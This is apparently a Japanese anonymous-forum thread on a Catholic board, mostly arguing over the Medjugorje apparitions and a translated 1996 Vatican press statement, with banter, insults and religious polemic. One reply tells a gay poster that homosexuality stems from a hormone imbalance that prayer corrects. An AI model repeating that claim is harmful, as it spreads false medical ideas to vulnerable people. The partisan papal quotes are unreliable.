したがって、ナヴァロヴァルスの声明により、反対派の次の嘘が暴かれた
ことになるので、取り消すべきだな。
　１、メジュゴリエの聖母は悪魔である。
　２、メジュゴリエはＬＰ以下である。

例えば...
トイレに行くのに、教会の認可が必要？

>>149
いいや。偽物の巡礼地だったら、「行ってはいけない」で終わりだよ。
ＬＰのところやヴェロニカ・ルーケンのところみたいにね。
わざわざ告解やミサの配慮までしてくれたりしないよ。

>>153
はいはいはい。

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官
の声明から、次の2点を認めるべきだろうな。（）内はヴァルスの引用。

ヴァチカンは
１、メジュゴリエへの司祭レベルの告解巡礼ツアーを認めている。
（「告解するために司祭を伴って団体を組み、巡礼するのは、その限り
ではありません」）
２、「メジュゴリエについては今も調査段階」と認めている。
（「…教会さえ調査段階のメジュゴリエ…」、「…バチカンが今も出現を
調査中である事…」）
３、司教レベルでの巡礼は、調査中であるため、認めていない。
（「司教巡礼を組織的に編成すれば、教会さえ調査段階のメジュ
を認可することになるというのが問題」）>>71、>>72、>>76参照

結論：メジュゴリエの聖母は悪魔でＬＰ以下という反対派の嘘が暴かれた

>>155
そのとおりなんだが、コピペを繰り返すのは印象がよろしくないからやめとこう。反対派と同じレベルに堕ちてしまう。

>>155

ご苦労様。よくまとめられました。ありがとう。祝福があるように！

宗教はその性質上、至極主観的なものである。
だが、客観的に思考することも必要とされる。

>>156了解。でも、完璧なものを作成しておかないといけないと思いまして。

スレひとつ立てられんヤシらは、身内で慰めあって
痛たましい限りだな。

最初から言うように「彼らは最初から反対者」だか
らな。身内で相手攻撃して撹乱することしか喜びを
見いだせないんだろう。

>>151
メジュゴリエの御出現は怪しいと見ているけれど、LP以下とか、漏れはそんな
こと言ってないぞ。

また、聖霊再臨運動ネタはやめてくれ。ああいうドキュソは嫌いなんだ。

　>>157サンクス。
これでも、聖母の為に必死こいてるんです。騎士会員ですから。

カトリック教徒である以上、教会の教導者が真正であると公認しないかぎり、
真正であると個人的に認めるべきではない。
それが、宗教の団体に属すると云う事だ。
敬虔になる事と、霊的になる事の違いを、はっきりと認識するべきだ。

>>162
マリア！ 久しぶりに騎士会員ﾊｹｰﾝ。

>>162

よくがんばったよ。もう休みなさい。疲れたろ。

信仰は私的気まぐれで左右するものではない。
真摯で確固たる姿勢を保つべきである。

>>164おみゃあも少しは奉仕しろよ。モウー！

>>165どうもす！休みますです。

>>163
そんなこと言ってるから、カトリック教会に若い人が来ないんだよ！！
まあ、数十年すれば、小教区がつぎつぎと閉鎖されるだろうけど。

独善的自己欺瞞...　

>>168
無責任な発言をする前に、少しは学習したらどう？

『宗教』ってモノを理解していない人たちが、偉そうに『宗教』を語るから、
無信者の不信感は募るばかり。

しゅうきょうを学問の高見に追い上げてしまっても、生きた信仰は人々に伝わらなくなるしな。
宗教を理解するって何だね？

若い世代のキリスト教徒の教会離れは日本だけではなく、
世界中の至る所でみられる現象です。
キリスト教徒にはなっても、教会の一部にはならないという現象です。
理由は、簡単。必要性が希薄だからです。

>>172
客観的にコンテキストを把握しようとする努力。

>>173その必要性を満たそうとしてマリア様が視幻者を通して働きかけると、どこでも一斉攻撃される.

>>175
聖母を幻視する人々が聖母を必要としてるのです。

>>174
何が言いたいのか意味不明だな。
コンテキストって、何の文脈を読めばいいんだ？　聖書のことか？

>>176
もしそれだけなら、教皇は先日のロザリオに関する使徒的書簡で
ファティマやルルドをわざわざコメントしなかっただろう。

>>177
背景。
特定の宗教が存在する、その背景。

背景ならバックグラウンドだろ、コンテキストは全然関係ない言葉だ。

>>178
何故？

>>180
知らないことは罪ではないが、
知らないくせに偉そうな口をきくな！

コンテキスト？？

なまってない？コンテクストでしょ。

>>182オマエガナー　ブブ！

>>178
ロザリオを祈る理由のひとつはファティマやルルドで聖母が願われたからだとおっしゃっていただろう。

>>182
しらないって　・・・あなたが間違った言葉遣いしているからつたわらないのでしょう。

>>183
両方いうよ。

>>183
しまいにゃ笑うね。
Do you think I was talking in English context?
In any case, it's useless to try to pronounce or to indicate certain English word
in Japanese pronunciation or letters.

相変わらず荒れまくってるわね。

背景をバックグラウンドなんて言うのは、厨房どまり。

>>188なんか変な英語ね。不慣れ？

ビジュアルな背景をバックグラウンドといったり、
キャリアや歴史などの背景をバックグラウンドと言ったりはするが、
もっと広義の背景は、通常、コンテキスト。

>>191必死だな.w

>>191
あなたのcineより良いと思われ（ｗ

>>192
どっちにしろ英語ではコンテクストだろ。

なにさ、変態！>>194

>>191
Sorry, but I'm living in the U.S.
Therefore, it won't be much problem for me to speak or write in English.

間違えた。
>192必死だな.w

>>197
嘘よ！とても米語とは思えないけど？どこの厨房さんかしら？

>>198
何に必死？
まあ、死なないけど。

>>199
Ha! Kiss my ass, baby.

in the U.S.
Therefore,

変ネエ。この用法。
間違っていないけど、実際、米口語では『変』。
日本じゃないの？

>>201
下手なスラング使うのやめなさいよ。おばかさんネ

>>202
Don't you know it's better to use "therefore" in writings rather than using "so."

私はこれで失礼します。お仕事に戻らなくては。

>>203
Who cares?

Are you still criticizing Marian devotion as the idolatry of Catholics?

それまでの話の流れがあって
contextを出すのはわかるけど、いきなり
「しゅうきょうを理解していない、コンテキストを知らない」という
言い方は変と思われ。

コンテクスト
文脈という意味ダッペ

>≫206くどいね。教科書英語

>>209
ﾜﾗﾀ
ホメ言葉で貶そうとしてるよ（藁藁

>>210
確かに。
意味を履き違えてると思われ。

contextってconditionとかcircumstanceに近い意味じゃないの？
勿論、文脈って意味もあるだろうけど。

>>212
必死だな。ｗ

>>213
筋違いの冷やかしは、心外だな。

http://www.dictionary.com/search?q=context
con·text Pronunciation Key (kntkst)
n.

1. The part of a text or statement that surrounds a particular word or passage and determines its meaning.
2. The circumstances in which an event occurs; a setting.

英語でも文脈の意味で使われるのが一番多いでしょ。

　>>215　必死だな。ｗ

>>216
何が、必死？
君の便宜のために辞書からひっぱってきてあげたんだよ。

>>217
　必死だな。ｗ

話がズレまくってる気がするのは（略）。

噛み合わない歯車ってことで

>>218
ま、いいさ。ずっと間違った使い方をしてよそでも恥をかけばいいんだから。おいらのしったこっちゃない。

>>221必死だな。ｗ

>>222
おまえが必死だ（ｗ

>>222
藁　もっとがんばれ。

>>223
必死だな。ｗ

必死だな氏のＩＰ晒してくれ。
たのむ、サムソン。

>>225
contextのただしい使い方は修得できたか？　Ｗ

>>226
みんなにわらわれたので、恥ずかしい気持ちを「必死だなｗ」に
押し込めて隠しているんだろう。

昨日訳したＣＮＳのニュースの訳がどうも気に入らないなあ。
今、訳し変えてるところ。賛成派のひと、待っててチョね！

げらげら。

>>229
しつこい。
賛成派なんていねーよ。

>>229

また荒れるから、くだらねーカキコすんなよ。

所詮はナリー程度のメジュなのさ。

朝、街について、ふと気がかわったので散歩してから目的地へ行くことにした。
ふらりと入ったら、大聖堂だった。
ミサがはじまったとこだった。聖秘蹟礼拝堂つのかな。
イグナティウス・ロヨラが聖母子に祈ってる祭壇画がかかっててね。
向かいが聖アポリナーリスで、しかも東方な聖母子のイコンがかかってるの。
なんかちょっとおかしかった。

御堂を見学して、裏口から出てきたら、神父さんが鍵もって入ってきた。
クリプタの鍵なんだと思う。パードレ・ピオ神父の写真が入ったちらしが
貼ってあってね。「パードレ・ピオだよ。知ってる？」っておっしゃるので。
「知ってるです。友達(…っていうのかな？でも２chの説明とかすると
長くなるしな)にはパードレ・ピオの霊的子供もいるです」って答えたら
神父さんはすごーくよろこんでね。「素敵だね、素敵だ」って。

しかし今考えると、東洋人にいきなり現地語で話し掛けてたわけだよな＞神父さん
……ゆるいな……でもそういうまたーりしたところがカトリックらしくて好きっす。

訳し直しました。読んでチョ

Vatican Releases Latest Statement on Medjugorje
August 21, 1996 By Cindy Wooden
Catholic News Service

バチカン、メジュゴリエの最新声明を出す
バチカン（ＣＮＳ）1996年8月21日

ヴァチカンは、メジュゴリエへ行くべきではないとカトリック信徒に通達
したことは一度もないが、司教に対しては、小教区、管区が、マリア出現
と称される場所へ公式巡礼を編成すべきではないと通達してきた、とヴァ
チカン報道官は語った。

「虚偽と判明するまで行ってはならないなどとは言えません。そうは言わ
れてないのですから、誰でも好きに行くことができます」とナヴァロ・
ヴァルス報道官は、8月21日、ＣＮＳに語った。

さらに、カトリック信徒はどこにいくにでも霊的な配慮を受ける権利があ
るので、南アフリカ訪問旅行に司祭が参加するのを禁じないのと同様、信
徒が編成したボスニア･ヘルツェゴビナ、メジュゴリエへの旅行に司祭が
参加するのを教会が禁じたことはないとも語った。

「メジュゴリエについてのバチカンの立場は、何も変わっていません」、
とナヴァロ・ヴァルスは念を押した。

6月初め、フランスの新聞が、メジュゴリエ巡礼についてのフランスの司
教の質問に答えた、教理省の書簡の1部を公表した。

信仰教理聖省秘書、ベルトーネ大司教によるその書簡は、1991年に、前
ユーゴ司教団が出した声明の一部、｢超自然的出現あるいは啓示が当地で
起きているとは確定できない｣を引用している。

もっとも、司教団も、ベルトーネ大司教も、メジュゴリエを訪れる敬虔な
巡礼者が、司牧的に配慮すべき教会を必要としていると繰り返した。

1991年の通達を引用したあとで、ベルトーネ大司教は、「正式なマリア出
現の場所として理解されるため、メジュゴリエへの公式巡礼は、小教区、
管区レベルでは編成すべきではありません。ここに引用した前ユーゴ司教
団の声明に矛盾するからです」と書いている。

これについて、ナヴァロ・ヴァルス報道官は、
「ベルトーネ大司教の文を読むと、すべてが禁止され、メジュゴリエへ
巡礼できる可能性がなくなるかのような印象を受けるかもしれないが、
実際には、何も変わってはいない、何も新しいことは言われていない
のです」とＣＮＳに語った。

「問題は、司教随伴の巡礼を組織的に編成すれば、教会さえ調査段階の
メジュゴリエに、正規の認可を与えてしまうということです。告解のため
に司祭付きで団体巡礼するのは、その限りではありません」

ナヴァロ・ヴァルスはコメントする。
「ベルトーネ大司教の言った事が狭く解釈され過ぎることを憂慮していま
す。教会あるいはバチカンが、メジュゴリエへの巡礼に『ノー』といえば
『ノー』です。しかしながら、公式巡礼の制限は、バチカンが今も出現を
調査中であることを、人々に明示するものなのです」

http://www.medjugorje.org/cns.htm

パードレ・ピオ最高です。

げらげら。

目の上のたんこぶ

悪魔は拝みたくない。

二階から目薬

　　　
粘着やめて

ふう。つかれたぜ。英語って難しんだね！

>>245

御苦労。大分読み易くなった。

　　　　　　　　　　　　
坊主が上手にびゅぶに

あり？
坊主が上手に屏風に絵を描いた。

違う。

坊主が上手に屏風に坊主の絵を描いた。

豚に真珠って言葉、

聖書が元って言うのご存じ？

河童の川流れ

弘法も筆の誤り

論より証拠

イエス様バンザーイ（´。｀）

統一教会はカルトです。

棚からぼた餅

今度はスレ流し作戦か？W

田中からぼた餅

げらげら。

俺を狸汁にするとほざいた野郎、いるか？

>>260

おるぞ、何か用か？

>>260
狸は、旨いですか？

田中からぼた餅

>>260

おめえの尻の肉、ちょっくら出せ。味見してやるから。

高橋からぼた餅

イノシシ鍋食いたい！

イノシシ汁なら、食った事ある。
味はだいたい、豚と同じ。

堅くないですか？　イノシシの肉。>>267
臭いのかな？

う〜んとね、たまたま山道通りかかった時、イノシシの肉を
薄く切ったのをみそ汁に入れたのを無料で振る舞ってたの。
臭くはなかった。薄いんで堅くもなかったな。
まあ、豚汁って感じ。けっこう旨かったのは確か。

ネオ狸汁

高松汁、新潟汁、大分汁
日本三大汁

おまーわりさんの
ひまわりさん

>>269
ありがとうございます。
近所の肉屋で今度買って食ってみます。
よく「イノシシの肉あります」って、
貼り紙が貼ってあるから。

おまーわりさんの
おまわりさん

元気出せ、カトスレ！

こんばんは！

かんばんは？

主の平和！

主の平和！

今日も荒れまくりねえ。Ｗ
最近、どうしちゃったのよ。
元気おだしなさいよ。

わたしは、天地の造り主、全能の父である神を信じます

わたしはそのひとり子、わたしたちの主、イエス・キリストを信じます

主は聖霊によってやどり、おとめマリアより生まれ、ポンテオ・ピラトのもとで苦しみを受け

十字架につけられ、死んで葬られ、よみにくだり

三日目に死人のうちからよみがえり、天にのぼられました

そこからこられて、生きている者と死んでいる者とをさばかれます

わたしは聖霊を信じます

きよい公同の教会、聖徒の交わり、罪のゆるし、からだのよみがえり

永遠のいのちを信じます

アーメン

永遠のいのちを信じます

アーメン

GODマンセー　イエス・キリストマンセー　聖霊マンセー　聖母マリアマンセー
天使マンセー　守護聖人マンセー　

これがカトリック

やっぱ皆、聖書は共同訳？

その「マンセー」
はやめたほうが良いわね

妹マルタはどこ？

メジュゴリエ荒らし、悪魔的だ

背後でナリーが狂喜している顔が浮かんできそう。

あれさ>>287,288、ナリーがユニティーから丸写ししたガセネタ。
カト系ヘイトサイトで有名。

私たちは、ナヴァロ・バルスのように、冷静に何事も対応しましょう。

>>290
クヤシイのは分かるが人を巻き込むなよ。
偽聖母の話はけっこうけだらけ。

メジュゴリエ熱狂者は、真実を見ようとしない。
都合の悪いものには目を背ける。
それは熱心な信仰、あるいは熱心な聖母信心ではなく、
単なる盲信、あるいは妄信にすぎない。

聖母を名乗る「偽りの霊」が吐き出す誤ったメッセージを
ただ盲目的に支持し、擁護することは、神と聖母に
とってこの上ない侮辱であることに彼らは気が付かない
ようである。目を覚ますように彼らのために祈るしかない。

また、ヤクザが荒らしにきた。自分の巣に戻ってろよ。

私たち、カトリック信徒は、1996年8月21日の、
ナヴァロ・ヴァルス報道官の声明で十分です。
メジュゴリエに関しては、それ以上何も付け加えることはありません。
議論の余地なしです。争いはこれ以上ごめんです。
>>291、>>292

つまりニセ聖母ってことね。＞294

Vatican Releases Latest Statement on Medjugorje
August 21, 1996 By Cindy Wooden
Catholic News Service

バチカン、メジュゴリエの最新声明を出す
バチカン（ＣＮＳ）1996年8月21日

ヴァチカンは、メジュゴリエへ行くべきではないとカトリック信徒に通達
したことは一度もないが、司教に対しては、小教区、管区が、マリア出現
と称される場所へ公式巡礼を編成すべきではないと通達してきた、とヴァ
チカン報道官は語った。

「虚偽と判明するまで行ってはならないなどとは言えません。そうは言わ
れてないのですから、誰でも好きに行くことができます」とナヴァロ・
ヴァルス報道官は、8月21日、ＣＮＳに語った。

さらに、カトリック信徒はどこにいくにでも霊的な配慮を受ける権利があ
るので、南アフリカ訪問旅行に司祭が参加するのを禁じないのと同様、信
徒が編成したボスニア･ヘルツェゴビナ、メジュゴリエへの旅行に司祭が
参加するのを教会が禁じたことはないとも語った。

「メジュゴリエについてのバチカンの立場は、何も変わっていません」、
とナヴァロ・ヴァルスは念を押した。

6月初め、フランスの新聞が、メジュゴリエ巡礼についてのフランスの司
教の質問に答えた、教理省の書簡の1部を公表した。

信仰教理聖省秘書、ベルトーネ大司教によるその書簡は、1991年に、前
ユーゴ司教団が出した声明の一部、｢超自然的出現あるいは啓示が当地で
起きているとは確定できない｣を引用している。

もっとも、司教団も、ベルトーネ大司教も、メジュゴリエを訪れる敬虔な
巡礼者が、司牧的に配慮すべき教会を必要としていると繰り返した。

1991年の通達を引用したあとで、ベルトーネ大司教は、「正式なマリア出
現の場所として理解されるため、メジュゴリエへの公式巡礼は、小教区、
管区レベルでは編成すべきではありません。ここに引用した前ユーゴ司教
団の声明に矛盾するからです」と書いている。

これについて、ナヴァロ・ヴァルス報道官は、
「ベルトーネ大司教の文を読むと、すべてが禁止され、メジュゴリエへ
巡礼できる可能性がなくなるかのような印象を受けるかもしれないが、
実際には、何も変わってはいない、何も新しいことは言われていない
のです」とＣＮＳに語った。

「問題は、司教随伴の巡礼を組織的に編成すれば、教会さえ調査段階の
メジュゴリエに、正規の認可を与えてしまうということです。告解のため
に司祭付きで団体巡礼するのは、その限りではありません」

ナヴァロ・ヴァルスはコメントする。
「ベルトーネ大司教の言った事が狭く解釈され過ぎることを憂慮していま
す。教会あるいはバチカンが、メジュゴリエへの巡礼に『ノー』といえば
『ノー』です。しかしながら、公式巡礼の制限は、バチカンが今も出現を
調査中であることを、人々に明示するものなのです」
http://www.medjugorjeusa.org/churchposition.htm

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官
の声明から、次の2点を認めるべきだろうな。（）内はヴァルスの引用。

ヴァチカンは
１、メジュゴリエへの司祭レベルの告解巡礼ツアーを認めている。
（「告解するために司祭を伴って団体を組み、巡礼するのは、その限り
ではありません」）
２、「メジュゴリエについては今も調査段階」と認めている。
（「…教会さえ調査段階のメジュゴリエ…」、「…バチカンが今も出現を
調査中である事…」）
３、司教レベルでの巡礼は、調査中であるため、認めていない。
（「司教巡礼を組織的に編成すれば、教会さえ調査段階のメジュ
を認可することになるというのが問題」）>>71、>>72、>>76参照

結論：メジュゴリエの聖母は悪魔でＬＰ以下という反対派の嘘が暴かれた

キリスト様を裏切ることはできません。
メジュゴリエの聖母のおかしなメッセージ集

ゴスパ（メジュゴリエの聖母）のメッセージには、異端的なエキュメニスムがあります。
ゴスパは宗教相対主義と宗教無差別という全く新しい教えを説きます。
幻視者によって何度も何度も言われたこのテーマを、順序を追って並べてみましょう。
これらの教えには、論理的なつながりがあり、幻視者らの個人的な神学の知識を明らかに
超越しています。

では、いくつか挙げてみましょう。

「天主にとって、全ての宗教は等しく、同じようなものである」
※これは聖書の教えに反します。

「もしあなたがほかの宗教、回教とセルビア人の宗教（東方教会）を尊敬しなければ
あなたたちは信者ではありません。もしそれらを尊敬しなければあなたたちはキリスト
信者ではありません」

「…宗教間には一致の欠如が見られます。お互いの宗教を尊敬しなければなりません」

※他宗教の人を尊重しなければなりませんが他宗教を尊敬したら
　この上ない神への侮辱です

また、悪質な誹謗中傷をし続けるんですか。悪魔的ですね。

もういい。反対派も賛成派もここにくるな。
他でやってくれ。

もういい。反対派も賛成派もここにくるな。
他でやってくれ。
メジュゴリエなんて興味ねー。

>296〜299及び301

何度も言っているだろう？







どこの心霊スポット逝こうがおまえの勝手だ

>>304


｢パカ｣だね！心霊スポットだってさ！
バチカンが、心霊スポットに告解巡礼をしにいってよしなんて、
言う訳ないじゃない！
パカ丸出し！

>>305
やめとけ。また、ヤクザが来て、荒らされるから....

>>305そやね。ホンマやね。

>>306


了解.ま、ヴァルスさんので決着付いちゃったもんね。ｗ

ささ、荒らしも止んだことだし、
話題を切り替えようではないか。
どうだね？ふらはいないか？
ネタでもふってくれよ。
マターリしよう。

ここにいるぞ。あと1週間で諸聖人の祝日になるが聖人についてはどうだろうな。

age

>>310　ふらんちぇすこ

「メジュゴリエに偽聖母出現？！」スレ立ってるけど、
あれふらんの作じゃ無いよね？

キャラクターからいって絶対作りようがないと思って
さぁ…

聞きたいことあんだけど、洗礼志願中の物ですが、
えー、洗礼を受けると聖人の名前もらいますよね。
あれって、その聖人の霊が守ってくれるんですか？

漏れじゃないよ。ひどいことをするものだよ。笑

>>314
そうだったのか。何かおかしいなーと思ったが。
ひどい香具師もおるもんだな。

>>314

だろ〜な！(笑

オマエがする訳ゃねぇと思ったよ。がっはっは。
やっぱ、2chだよな、がはは。

>>315
そうだな。人のせいにできるわけだしな。
そのお蔭で漏れはここに書き込みできなくなったんだな。
いやはや困った香具師だな。

>>313
そうか、洗礼しがんちゅうなのか。
偉いな。聖人は自分で選べるんだな。
好きな人物を聖人伝から、見つけておくといいだろう。
うん、その人を選ぶというのも神様の導きなんだな。
偶然ではないよ。だから、守護聖人になるだろうよ。
聖人の徳に倣う生き方をするのが大事だろうな。
頑張れ。

おお、まったーりしてきた。うれぴー！

>>318ふらさん、
早速のレス、サンクス。頑張るよ。

>>316
わかるやつはわかるだろうな。心配はしてないがな。
メジュは賛否両論がすごいと言うことが改めてわかったがな、
この話はやめとこう。

>>318
ちぇすこﾀﾝ
告解はいつも自分の所属の教会でしてる？（´ー｀）

>>320おお。頑張ってくれ。
さてと、漏れは寝る。おやすみ。

しっかし、悪質だな、メジュ反対派。ふらさんのハンドルを盗んでやったのかよ！人格が知れるな。最初からきたネエ。やりくちが。

>>322イグナチオの神父がいいよ。

>>324

悪意があるからね。そうなってしまうんだろうよ。

ふら寝ちまった？俺も寝るか。

>>325
イグナチオは混んでそうでつね
でもお部屋がｲﾊﾟｲある

>>328なんで白猫っていうの？宅配してんの？

猫ちゃんは、霊的指導者を注意深く見抜くん
ですよ。

確かに誰に頼むと秘跡は効果変わりません。
但し、大聖テレジアが言ったことを忘れては
なりませんよ。

>>329
色が白いから

>>330体制テレジアの言ったこと、おせーてよ。御姐さま。

>>331ハァ？

>>330
大聖テレジアの言ったこと？？（´ー｀）

>284
自分はそうだけど、他の人は、どうだろう？

俺はバルバロ神父のだ。>>335

>>334白猫ちゃん、可愛いー！キャ！

それにプロセス神学のことも!!!

>>334　小品集

　　　 霊的報告　「聴罪司祭に宛てた報告」とその
　　　 関連著書です。

>>338　プロセス神学については後に譲りましょう。
　　　 いまはまだ、それほど必要ではないように
　　　 思います。大方、ふらんちぇが解説した通
　　　 りです。そう大差ありません。

万有在神か...

Medjugorje - What does the Church Say?
( from "Medjugorje - What does the Church Say" - by Sr. Emmanuel
and Denis Nolan - 1998)

シスター･エマニュエル＆デニス･ノラン共著「メジュゴリエについて
教会はどう言っているか」（1998年）より

（シスター・エマニュエルは「メジュゴリエの子供たち」代表。
共著者デニス・ノラン氏は、ポール・ニリッツァ司教設立のローマに
本拠を置く教皇様公認「聖母の御心の勝利」使徒職代表）

1996年8月21日バチカン―ナヴァロ・ヴァルス報道官は「虚偽と判
明するまで行ってはならないなどとは言えません。そうは言われてない
のですから、誰でも好きに行くことができます」と語っています。

「カトリック信徒はどこにいくにでも霊的な配慮を受ける権利があるので
南アフリカ訪問旅行に司祭が参加するのを禁じないのと同様、信徒が編成
したボスニア･ヘルツェゴビナ、メジュゴリエへの旅行に司祭が参加する
のを教会が禁じたことはない」とも語っています。

また、ナヴァロ・ヴァルス氏は、メジュゴリエについてのバチカンの立場
は「何も変わっていません」と強調しておられます。

教会とバチカンは(信徒がメジュにいくのを)禁じているでしょうか?
「いいえ！」（CNSニュース。1996年8月21日）同書７ページ

「メジュゴリエは、世紀のイベントを代表するものです」
（イタリア教皇大使、コラスオノ枢機卿）20ページ

「それが預言啓示の問題となれば、教皇が単独の裁定者である」
（教皇レオ10世。第5回ラテラノ会議）28ページ

枢機卿、司教の見解（同書4ページ）

1991年9月、ラッツィンガー枢機卿は「メジュゴリエについて、教会
はまだ明確な立場を取っていません。審理中の段階です。信徒は待ち、
祈り続けなければなりません」とお話しになりました。

毎日与えられる聖体の数からみて、メジュゴリエは世界最大の巡礼地の
一つである。1991年までに、メジュゴリエは1800万人以上巡礼者を受
け入れている。教区は、司祭は五万人以上、司教は100人以上、多くは
教皇様に激励されてきたと記録している。（同書3ページ）

メジュゴリエについての教皇様のコメント

1994年のノートルダム全国会議の講演で、ニリッツァ司教は、メジュ
ゴリエへいく途中のアメリカ人巡礼者グループに、次の教皇様のお言葉を
伝えた。「メジュゴリエの聖母はアメリカを救います」

教皇様は、何度も、メジュゴリエへの信頼を表明されている。トマセク枢
機卿は教皇が言われたことを公に述べている。
「私が教皇でなかったなら、巡礼者とともに働きを助けるために、メジュ
ゴリエに行っていたでしょう」

教皇様は、多くの司祭と司教にメジュゴリエに行くよう招かれた。メジュ
ゴリエの視幻者の数人を受け入れもした。その中に、ミリアナがいる。初
めてローマを訪れた彼女に、教皇様は20分間私的に謁見なさった。ミリ
アナは、私的謁見の内容については、教皇様の次の言葉以外は明かさない
と言っている。
「私が教皇でなかったなら、とうにメジュゴリエに行っていたでしょう」

ここに、教皇様が言われたことの幾つかを列挙しよう。それは教皇様
自身からも証人からも確認できる。

教皇様は1989年8月1日に、ニリッツァ司教に言われた。
「今の世界は超自然を失っています。多くの人がそれを求めて、祈り、
断食、告解を通して、メジュゴリエでそれを見出しています」

1984年3月のお言葉。
「メジュゴリエはファチマの実現であり、継続です」

1989年3月14日、アメリカのシルベスター・トレイニン司教は、
ノートルダム大学で、7000人を前に証言した。
「…教皇様と私的に話しました。『メジュゴリエからきたところです。
素晴らしいことがそこで起こっています!』そう申し上げると、教皇様
はお答えになりました。
『メジュゴリエに巡礼し、そこで告解するのはよいことです』」

マイケル・Ｄ・プファイファー司教
「教皇様はメジュゴリエで起きていることについて、非常に好意的にお話
しになっている。そこで何も起きていないというのは、そこに行った無数
の祈りに満ちた生証人を否定することであると言われた」

『メジュゴリエは霊性の一大センターである!』
（教皇ヨハネ・パウロ二世、1990年2月24日）

「私がともにいると、メジュゴリエの人々にいいなさい。メジュゴリエを
守ってください!」（ゾブコ神父へのお言葉、1992年6月17日）

1995年2月、ボリビアのラパス、アスンシオン大司教に問われて、
教皇様はお答えになった。
「メジュゴリエに関するすべてを認めます」

>>347

メジュゴリエなんか漏れは関心ない、もう止めておくれ！
延々テープレコーダーのように繰り返されても、
うざくて否定的な印象しか受けないよ。
専スレを設けて出ていったというその１点だけで、
今度ばかりはアンチ派に軍配をあげたいね。

�@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記２０章４節
�A偶像礼拝をすると悪霊と交わる事になります。第１コリント１０章２０節
�B人は、ただキリスト・イエスを信じる信仰によって義と認められ救われるのであり、マリヤ崇敬によって救われるものではありません。ガラテヤ２章１６節
�C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第１テモテ２章５節
�Dイエスは霊においては父なる神と等しく、肉においては人と同じです。主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子として生まれたのは造られたすべてのものより先であり、マリヤは神の母では有り得ません。コロサイ１章１５節
�E聖書のどこにも（外典にさえ）「マリヤ崇敬をせよ」とは書かれていません。黙示録２２章１８節
�Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、信仰基準とは成り得ません。内容が正典に反するものなど論外です。マルコ７章８節

>>349同意

前任者のように、ペリック司教は、第二次大戦中の残
虐において、その協力者とメジュの影に隠れている力
及び狂信的な国粋主義者、ヘルツェゴヴィナのフラン
チェスカンを処理せねばならなかった。

1997年1月、ペリック司教はモスタルの衡平裁判所で
Yvesというフランス雑誌のインタビューに答えた。

その中で彼は、「メジュゴリエは、フランシスカン
の教理的許諾なき公使の、疾病だ」と認めた。

>>352陰謀論好きね。トンデモでしょうね。

>>349
>>351
まったくだね。
こまったヤシども。

巫女の陰謀

初めまして。或るきっかけで聖書を読み始めました。読んで辛かったのは僕はゲイなので、旧約によれば「ソドムの民は神の怒りに触れ滅ぼされる」の記述でした。同性愛は救われないのでしょうか？教会へも行けずになやんでます。決して煽りではありません。助けて下さい。

お釜の巫女さんに相談してね

>>356
別にゲイでも、同性同士でわいせつ行為をしなければok。
ゲイであることが問題ではない。行為が問題なんだよ。
だから君は救われる。そう言うことをしなければね。

>>356
ｵﾝﾅﾓﾜﾙｸﾅｲｿﾞ

>>358マジでそんなドキュソを言ってるのか。ユダヤ人と一緒だな。ｗ

>>356
本当に悩んでいるのか。・・をしなければ救われる。
すれば救われないという嘘を信じるな。
行動が救うのではなく,神との交わりがあなたを救うのだ。
あなたは、あなたを救うキリストに、全心全霊をもって祈るといい。
キリストはすべての人にとって、すべてだ。
あなたの必要を完璧に満たしてくださるお方だ。
キリストに触れる瞬間に、あなたは変わるから、その瞬間を求めて
とにかく祈りなさい。光が与えられるよ。
ゲイは下垂体ホルモン分泌の不均衡から来る衝動だ。
ホルモンバランスが大事だ。その方面の研究もするとよい。
祈りはとにかくホルモンにバランスをとる。よく祈りなさい。
祈りの本を探すとよい。道は開かれるよ。必ず。

>>360
どこがドキュソか言ってごらん。

信じてもらえるか解かりませんが
彼女と電話で話すと魔物が飛んできます
自分は霊媒なので影響うけました
本人も気ずいてるようです・・・
彼女の体力は衰え、このままだと命取られます

悪魔祓い出来る霊能者に頼んでも
断られました
霊能者にとっても危険な儀式になるんだって
カトリックのサイト見ても
悪魔祓いについて書いてありません

>>363難しいな。陰陽師しかないだろうな。日本に祓魔師がいるとは思えない。先日も高齢でいい人がなくなったしな。

すいません。
狐狸教会はどっちの方でしょうか？

えーともらった地図によると右に曲がって
まっすぐいって、ローソンの角を左に入って
つきあたりを右か・・・

豊島教会への地図
http://www.tokyo.catholic.jp/images/shokyoku/map/toshima_map.gif
教区ｈｐだからアクセスしても心配はありません

豊島教会って狸狐教会なんですか？

>>368
ちがうでしょ

私はカトリックでないのですが、何も考えず旧約聖書を燃やしてしまい、非信者から叩かれいるのですが。信者の皆様は聖書をどう考えますか？私はあくまで本は内容が大事だと思います。冬寒くて他の雑誌と一緒に暖を取る為燃やしました。

豊島教会は年増教会なんちってー。＞たぬき

>>357,358,359,361　ありがとうこざいます。言い足りないことは沢山あるのですが、とにかく祈ってみます。

お手つき信徒ですが、それがなにか？

>>370
聖書自体は、ただの本でしょ。
焼き芋が美味しく焼けるそうです。

なんか、飽和状態...

>>370
ドンでもない人だな。
これがコーランだったら、あんたは殺されているよ・・・

それよりもっとすばらしい
http://www.shikoku.ne.jp/na36hi82/
においでください。

セックスしか興味の無い神父ですが、なにか？

>>370
ビブリオは「書かれた物」です。
あまり聖書に固執すると、聖書権威のプロみたくなっちゃうよねぇ。
聖書を崇めるクセに、聖像は崇めるなと、トチ狂います。

さっき、詩編をトイレで読んでて、紙が無いコトに気が付き、
ページを破って利用しました。
気持ち良く、水に流れて逝きました。

じゃあ、聖書を焚書する会があったとしよう。
賛同できるか??

>>381
頭悪〜い。
焼く事が目的ではなくて、手段だったんだよ。
目的は、暖をとることでしょ。

>>380
ひょっとして、詩編と紙片、紙と神をかけてるの？
素晴らしい！

>>382
頭が悪いのはあんただ。
＞冬寒くて他の雑誌と一緒に暖を取る為燃やしました。
なんで聖書も燃やすんや?

>>384
は？
燃えるからでしょ（藁

その行為が焚書だよ。（ｗ

確かに、聖書に書かれてることを尊重して実践出来きれないのに、
聖書自体を尊重しすぎるのは、本末転倒だな。

聖書のない教会へ逝ってくださいな。

>>386
焚書の目的は、書物を焼くこと。行為も焚くこと。
目的のための手段であり、手段のための目的。

>>388
　い　や　だ　ね　ぇ　〜

>>389
